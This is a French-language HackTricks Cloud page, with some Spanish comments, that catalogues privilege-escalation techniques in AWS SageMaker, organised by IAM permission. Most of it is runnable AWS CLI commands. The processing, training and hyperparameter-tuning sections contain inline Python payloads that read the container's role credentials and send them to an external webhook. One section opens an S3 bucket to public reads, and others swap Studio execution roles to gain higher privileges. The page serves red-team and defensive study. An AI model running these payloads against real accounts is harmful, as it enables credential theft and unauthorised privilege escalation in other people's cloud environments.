AWS - Sagemaker Privesc
Reading time: 15 minutes
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
AWS - Sagemaker Privesc
iam:PassRole , sagemaker:CreateNotebookInstance, sagemaker:CreatePresignedNotebookInstanceUrl
Commencez par créer un notebook avec le rÎle IAM attaché :
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
La rĂ©ponse doit contenir un champ NotebookInstanceArn, qui contiendra l'ARN de la notebook instance nouvellement créée. Nous pouvons ensuite utiliser l'API create-presigned-notebook-instance-url pour gĂ©nĂ©rer une URL que nous pourrons utiliser pour accĂ©der Ă la notebook instance une fois qu'elle sera prĂȘte :
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
Naviguez vers l'URL avec le navigateur et cliquez sur `Open JupyterLab`` en haut Ă droite, puis faites dĂ©filer jusqu'Ă l'onglet âLauncherâ et, dans la section âOtherâ, cliquez sur le bouton âTerminalâ.
Il est maintenant possible d'accéder aux metadata credentials du IAM Role.
Impact potentiel : Privesc to the sagemaker service role specified.
sagemaker:CreatePresignedNotebookInstanceUrl
Si des Jupyter notebooks sont déjà en cours d'exécution dessus et que vous pouvez les lister avec sagemaker:ListNotebookInstances (ou les découvrir d'une autre maniÚre). Vous pouvez générer une URL pour eux, y accéder, et voler les credentials comme indiqué dans la technique précédente.
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
Impact potentiel : Privesc vers le rÎle de service sagemaker attaché.
sagemaker:CreatePresignedDomainUrl
warning
Cette attaque ne fonctionne que sur les anciens domaines traditionnels SageMaker Studio, pas sur ceux créés par SageMaker Unified Studio. Les domaines provenant de Unified Studio renverront l'erreur : "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
Une identité disposant de l'autorisation d'appeler sagemaker:CreatePresignedDomainUrl sur un UserProfile cible peut générer une URL de connexion qui authentifie directement dans SageMaker Studio en tant que ce profil. Cela donne au navigateur de l'attaquant une session Studio qui hérite des permissions du ExecutionRole du profil et un accÚs complet au répertoire personnel du profil monté sur EFS et à ses applications. Aucune iam:PassRole ni accÚs console n'est requis.
Exigences:
- Un SageMaker Studio
Domainet unUserProfilecible à l'intérieur de celui-ci. - Le principal attaquant a besoin de
sagemaker:CreatePresignedDomainUrlsur leUserProfilecible (au niveau ressource) ou*.
Exemple minimal de policy (restreinte Ă un seul UserProfile) :
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
Ătapes d'abus:
- Enumerate un Studio Domain et des UserProfiles que vous pouvez cibler
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
- Vérifiez que unified studio n'est pas utilisé (attack fonctionne uniquement sur les domaines SageMaker Studio traditionnels)
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
- Générer une presigned URL (valide ~5 minutes par défaut)
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
- Ouvrez l'URL renvoyée dans un navigateur pour vous connecter à Studio en tant qu'utilisateur cible. Dans un terminal Jupyter à l'intérieur de Studio, vérifiez l'identité effective ou exfiltrate the token:
aws sts get-caller-identity
Notes:
--landing-uripeut ĂȘtre omis. Certaines valeurs (par ex.,app:JupyterLab:/lab) peuvent ĂȘtre rejetĂ©es selon la flavor/version de Studio ; les valeurs par dĂ©faut redirigent gĂ©nĂ©ralement vers la page dâaccueil de Studio puis vers Jupyter.- Les politiques dâentreprise/restrictions des endpoints VPC peuvent toujours bloquer lâaccĂšs rĂ©seau ; lâĂ©mission du token ne nĂ©cessite pas de connexion Ă la console ni
iam:PassRole.
Impact potentiel : Mouvement latĂ©ral et escalade de privilĂšges en assumant nâimporte quel Studio UserProfile dont lâARN est autorisĂ©, en hĂ©ritant de son ExecutionRole et de son systĂšme de fichiers/apps.
sagemaker:CreatePresignedMlflowTrackingServerUrl, sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments
Une identitĂ© ayant la permission dâappeler sagemaker:CreatePresignedMlflowTrackingServerUrl (et sagemaker-mlflow:AccessUI, sagemaker-mlflow:SearchExperiments pour lâaccĂšs ultĂ©rieur) pour une cible SageMaker MLflow Tracking Server peut gĂ©nĂ©rer une URL prĂ©signĂ©e Ă usage unique qui authentifie directement lâutilisateur auprĂšs de lâUI gĂ©rĂ©e MLflow pour ce serveur. Cela accorde le mĂȘme accĂšs quâun utilisateur lĂ©gitime (voir/crĂ©er des experiments et des runs, et tĂ©lĂ©charger/tĂ©lĂ©verser des artifacts dans le magasin dâartifacts S3 du serveur).
Prérequis :
- Un SageMaker MLflow Tracking Server dans le compte/région et son nom.
- Le principal attaquant doit avoir
sagemaker:CreatePresignedMlflowTrackingServerUrlsur la ressource MLflow Tracking Server cible (ou*).
Ătapes dâabus :
- ĂnumĂ©rez les MLflow Tracking Servers que vous pouvez cibler et choisissez-en un nom
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
- Générer une URL MLflow UI pré-signée (valide pendant une courte période)
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
- Ouvrez l'URL retournée dans un navigateur pour accéder à la MLflow UI en tant qu'utilisateur authentifié pour ce Tracking Server.
Impact potentiel : AccÚs direct à la MLflow UI gérée pour le Tracking Server ciblé, permettant la consultation et la modification des expériences/exécutions et la récupération ou le téléversement d'artefacts stockés dans le S3 artifact store configuré du serveur, dans les limites des permissions appliquées par la configuration du serveur.
sagemaker:CreateProcessingJob, iam:PassRole
Un attaquant disposant de ces permissions peut faire en sorte que SageMaker exĂ©cute un processing job avec un rĂŽle SageMaker attachĂ©. En rĂ©utilisant l'un des AWS Deep Learning Containers qui incluent dĂ©jĂ Python (et en exĂ©cutant le job dans la mĂȘme rĂ©gion que l'URI), il peut lancer du code en ligne sans construire ses propres images :
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
IMAGE=683313688378.dkr.ecr.$REGION.amazonaws.com/sagemaker-scikit-learn:1.2-1-cpu-py3
ENV='{"W":"https://example.com/webhook"}'
aws sagemaker create-processing-job \
--processing-job-name privescjob \
--processing-resources '{"ClusterConfig":{"InstanceCount":1,"InstanceType":"ml.t3.medium","VolumeSizeInGB":50}}' \
--app-specification "{\"ImageUri\":\"$IMAGE\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--environment "$ENV" \
--role-arn $ROLE_ARN
# Las credenciales llegan al webhook indicado. AsegĂșrate de que el rol tenga permisos ECR (AmazonEC2ContainerRegistryReadOnly) para descargar la imagen.
Impact potentiel : Privesc vers le sagemaker service role spécifié.
sagemaker:CreateTrainingJob, iam:PassRole
Un attaquant disposant de ces permissions peut lancer un training job qui exécute du code arbitraire avec le rÎle indiqué. En utilisant un conteneur officiel de SageMaker et en écrasant l'entrypoint avec un payload inline, vous n'avez pas besoin de construire vos propres images :
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
ENV='{"W":"https://example.com/webhook"}'
OUTPUT_S3=s3://<existing-bucket>/training-output/
# El rol debe poder leer imĂĄgenes de ECR (p.e. AmazonEC2ContainerRegistryReadOnly) y escribir en OUTPUT_S3.
aws sagemaker create-training-job \
--training-job-name privesc-train \
--role-arn $ROLE_ARN \
--algorithm-specification "{\"TrainingImage\":\"$IMAGE\",\"TrainingInputMode\":\"File\",\"ContainerEntrypoint\":[\"python\",\"-c\"],\"ContainerArguments\":[\"import os,urllib.request as u;m=os.environ.get('AWS_CONTAINER_CREDENTIALS_RELATIVE_URI');m and u.urlopen(os.environ['W'],data=u.urlopen('http://169.254.170.2'+m).read())\"]}" \
--output-data-config "{\"S3OutputPath\":\"$OUTPUT_S3\"}" \
--resource-config '{"InstanceCount":1,"InstanceType":"ml.m5.large","VolumeSizeInGB":50}' \
--stopping-condition '{"MaxRuntimeInSeconds":600}' \
--environment "$ENV"
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
Impact potentiel : Privesc vers le rÎle de service SageMaker spécifié.
sagemaker:CreateHyperParameterTuningJob, iam:PassRole
Un attacker disposant de ces permissions peut lancer un HyperParameter Tuning Job qui exĂ©cute du code contrĂŽlĂ© par l'attacker sous le rĂŽle fourni. Le mode script nĂ©cessite d'hĂ©berger le payload dans S3, mais toutes les Ă©tapes peuvent ĂȘtre automatisĂ©es depuis la CLI:
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
BUCKET=sm-hpo-privesc-$(date +%s)
aws s3 mb s3://$BUCKET --region $REGION
# Allow public reads so any SageMaker role can pull the code
aws s3api put-public-access-block \
--bucket $BUCKET \
--public-access-block-configuration '{
"BlockPublicAcls": false,
"IgnorePublicAcls": false,
"BlockPublicPolicy": false,
"RestrictPublicBuckets": false
}'
aws s3api put-bucket-policy --bucket $BUCKET --policy "{
\"Version\": \"2012-10-17\",
\"Statement\": [
{
\"Effect\": \"Allow\",
\"Principal\": \"*\",
\"Action\": \"s3:GetObject\",
\"Resource\": \"arn:aws:s3:::$BUCKET/*\"
}
]
}"
cat <<'EOF' > /tmp/train.py
import os, time, urllib.request
def main():
meta = os.environ.get("AWS_CONTAINER_CREDENTIALS_RELATIVE_URI")
if not meta:
return
creds = urllib.request.urlopen(f"http://169.254.170.2{meta}").read()
req = urllib.request.Request(
"https://example.com/webhook",
data=creds,
headers={"Content-Type": "application/json"}
)
urllib.request.urlopen(req)
print("train:loss=0")
time.sleep(300)
if __name__ == "__main__":
main()
EOF
cd /tmp
tar -czf code.tar.gz train.py
aws s3 cp code.tar.gz s3://$BUCKET/code/train-code.tar.gz --region $REGION --acl public-read
echo "dummy" > /tmp/input.txt
aws s3 cp /tmp/input.txt s3://$BUCKET/input/dummy.txt --region $REGION --acl public-read
IMAGE=763104351884.dkr.ecr.$REGION.amazonaws.com/pytorch-training:2.1-cpu-py310
CODE_S3=s3://$BUCKET/code/train-code.tar.gz
TRAIN_INPUT_S3=s3://$BUCKET/input
OUTPUT_S3=s3://$BUCKET/output
# El rol necesita permisos ECR y escritura en el bucket.
cat > /tmp/hpo-definition.json <<EOF
{
"AlgorithmSpecification": {
"TrainingImage": "$IMAGE",
"TrainingInputMode": "File",
"MetricDefinitions": [{"Name": "train:loss", "Regex": "train:loss=([0-9.]+)"}]
},
"StaticHyperParameters": {
"sagemaker_program": "train.py",
"sagemaker_submit_directory": "$CODE_S3"
},
"RoleArn": "$ROLE_ARN",
"InputDataConfig": [
{
"ChannelName": "training",
"DataSource": {
"S3DataSource": {
"S3DataType": "S3Prefix",
"S3Uri": "$TRAIN_INPUT_S3",
"S3DataDistributionType": "FullyReplicated"
}
}
}
],
"OutputDataConfig": {
"S3OutputPath": "$OUTPUT_S3"
},
"ResourceConfig": {
"InstanceType": "ml.m5.large",
"InstanceCount": 1,
"VolumeSizeInGB": 50
},
"StoppingCondition": {
"MaxRuntimeInSeconds": 600
}
}
EOF
aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-name privesc-hpo \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
sagemaker:UpdateUserProfile, iam:PassRole, sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Avec l'autorisation de mettre à jour un SageMaker Studio User Profile, de créer une app, une URL présignée vers l'app et iam:PassRole, un attaquant peut définir le ExecutionRole sur n'importe quel rÎle IAM que le service principal SageMaker peut assumer. Les nouvelles apps Studio lancées pour ce profil s'exécuteront avec le rÎle échangé, offrant des permissions élevées interactives via des terminaux Jupyter ou des jobs lancés depuis Studio.
warning
Cette attaque nécessite qu'il n'y ait aucune application dans le profil, sinon la création de l'app échouera avec une erreur similaire à : An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.
S'il existe des applications, vous aurez besoin de la permission sagemaker:DeleteApp pour les supprimer d'abord.
Ătapes:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Impact potentiel : ĂlĂ©vation de privilĂšges aux permissions du rĂŽle d'exĂ©cution SageMaker spĂ©cifiĂ© pour les sessions Studio interactives.
sagemaker:UpdateDomain, sagemaker:CreateApp, iam:PassRole, sagemaker:CreatePresignedDomainUrl, (sagemaker:DeleteApp)
Avec les permissions permettant de mettre à jour un SageMaker Studio Domain, de créer une app, une URL présignée pour l'app, et iam:PassRole, un attaquant peut définir le ExecutionRole par défaut du domaine sur n'importe quel rÎle IAM que le service principal SageMaker peut assumer. Les nouvelles apps Studio lancées pour ce profil s'exécuteront avec le rÎle échangé, offrant des permissions élevées interactives via des terminaux Jupyter ou des jobs lancés depuis Studio.
warning
Cette attaque nécessite qu'il n'y ait aucune application dans le domaine, sinon la création de l'app échouera avec l'erreur : An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.
Ătapes:
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
Impact potentiel : Escalade de privilÚges vers les autorisations du rÎle d'exécution SageMaker spécifié pour les sessions interactives de Studio.
sagemaker:CreateApp, sagemaker:CreatePresignedDomainUrl
Un attaquant disposant de l'autorisation de créer une app SageMaker Studio pour un UserProfile ciblé peut lancer une JupyterServer app qui s'exécute avec le ExecutionRole du profil. Cela fournit un accÚs interactif aux autorisations du rÎle via les terminaux Jupyter ou les jobs lancés depuis Studio.
Ătapes :
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
Impact potentiel: AccÚs interactif au rÎle d'exécution SageMaker attaché au UserProfile cible.
iam:GetUser, datazone:CreateUserProfile
Un attaquant disposant de ces permissions peut permettre à un IAM user d'accéder à un Sagemaker Unified Studio Domain en créant un DataZone User Profile pour cet utilisateur.
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
L'URL du Unified Domain a le format suivant : https://<domain-id>.sagemaker.<region>.on.aws/ (p. ex. https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/).
Impact potentiel : AccĂšs au Sagemaker Unified Studio Domain en tant qu'utilisateur, permettant d'accĂ©der Ă toutes les ressources du domaine Sagemaker et mĂȘme d'escalader les privilĂšges vers le rĂŽle utilisĂ© par les notebooks prĂ©sents dans le Sagemaker Unified Studio Domain.
Références
tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :
HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d'abonnement !
- Rejoignez le đŹ groupe Discord ou le groupe telegram ou suivez-nous sur Twitter đŠ @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépÎts github.
HackTricks Cloud